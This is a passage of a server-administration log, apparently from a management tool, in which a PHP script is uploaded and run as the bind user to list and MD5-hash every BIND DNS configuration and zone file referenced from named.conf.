MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-21 14:12:07: Establishing a connection
2026-04-21 14:12:07: 

PUT: /tmp/pkp380210

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-21 14:12:07: 

runuser -l bind -s /bin/bash -c '/tmp/pkp380210; rm /tmp/pkp380210'

2026-04-21 14:12:07: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
